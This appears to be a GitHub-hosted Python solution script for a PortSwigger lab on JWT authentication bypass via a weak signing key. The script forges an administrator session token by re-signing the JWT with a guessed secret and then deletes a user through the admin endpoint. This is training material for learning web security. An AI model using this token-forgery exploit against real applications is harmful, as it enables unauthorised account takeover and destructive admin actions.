-
Notifications
You must be signed in to change notification settings - Fork 83
/
script.py
89 lines (67 loc) · 2.82 KB
/
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
# JWT authentication bypass via weak signing key
# Lab-Link: https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
# Difficulty: PRACTITIONER
from bs4 import BeautifulSoup
import jwt
import requests
import sys
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def get_csrf_token(client, url):
r = client.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
return soup.find('input', attrs={'name': 'csrf'})['value']
def login(client, host, username, password):
url = f'{host}/login'
token = get_csrf_token(client, url)
data = {'csrf': token,
'username': username,
'password': password}
res = client.post(url, data=data)
return f'Your username is: {username}' in res.text
def manipulate_cookie(client, host):
cookie = client.cookies.get('session')
# Secret appears to be static for this lab
key = 'secret1'
payload = jwt.decode(cookie, options={"verify_signature": False})
payload['sub'] = 'administrator'
cookie = jwt.encode(payload, key, algorithm="HS256")
client.cookies.set('session', cookie, domain=f'{host[8:]}')
return True
def delete_carlos(client, host):
url = f'{host}/admin/delete?username=carlos'
return client.get(url, allow_redirects=False).status_code == 302
def main():
print('[+] JWT authentication bypass via weak signing key')
try:
host = sys.argv[1].strip().rstrip('/')
except IndexError:
print(f'Usage: {sys.argv[0]} <HOST>')
print(f'Exampe: {sys.argv[0]} http://www.example.com')
sys.exit(-1)
with requests.Session() as client:
client.verify = False
client.proxies = proxies
if not login(client, host, 'wiener', 'peter'):
print(f'[-] Failed to log in as wiener')
sys.exit(-3)
print(f'[+] Log in as wiener successful')
if not manipulate_cookie(client, host):
print(f'[-] Failed to manipulate the cookie to impersonate administrator')
sys.exit(-4)
print(f'[+] Cookie manipulated to impersonate administrator')
if not delete_carlos(client, host):
print(f'[-] Failed to delete user carlos')
sys.exit(-5)
print(f'[+] Deletion of carlos appeared successful')
# I had some times issues getting the proper result, so wait briefly before checking
time.sleep(2)
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
print(f'[-] Failed to solve lab')
sys.exit(-9)
print(f'[+] Lab solved')
if __name__ == "__main__":
main()